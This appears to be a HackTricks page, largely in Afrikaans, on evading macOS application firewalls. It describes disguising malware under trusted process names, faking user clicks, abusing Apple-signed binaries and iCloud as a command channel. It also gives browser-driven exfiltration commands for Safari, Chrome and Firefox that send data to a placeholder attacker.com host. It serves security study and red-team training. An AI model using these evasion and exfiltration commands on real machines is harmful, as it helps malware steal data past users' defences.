macOS Bypassing Firewalls

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Found techniques

Die volgende tegnieke is gevind wat werk in sommige macOS firewall toepassings.

Abusing whitelist names

• Byvoorbeeld, noem die malware met name van bekende macOS prosesse soos launchd

Synthetic Click

• As die firewall om toestemming van die gebruiker vra, laat die malware klik op toelaat

Use Apple signed binaries

• Soos curl, maar ook ander soos whois

Well known apple domains

Die firewall kan verbinding met bekende appel domeine soos apple.com of icloud.com toelaat. En iCloud kan as 'n C2 gebruik word.

Generic Bypass

Sommige idees om te probeer om firewalls te omseil

Check allowed traffic

Om die toegelate verkeer te ken, sal jou help om potensieel op die witlys geplaasde domeine of watter toepassings toegelaat word om toegang tot hulle te kry te identifiseer.

lsof -i TCP -sTCP:ESTABLISHED

Misbruik van DNS

DNS-resolusies word gedoen via mdnsreponder onderteken toepassing wat waarskynlik toegelaat sal word om DNS-bedieners te kontak.

Deur Blaaier toepassings

• oascript

tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell

• Google Chrome

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

• Firefox

firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

• Safari

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Deur prosesinjekties

As jy kode in 'n proses kan inspuit wat toegelaat word om met enige bediener te verbind, kan jy die firewall beskerming omseil:

macOS Process Abuse

Verwysings

• https://www.youtube.com/watch?v=UlT5KFTMn2k

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsieplanne!

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.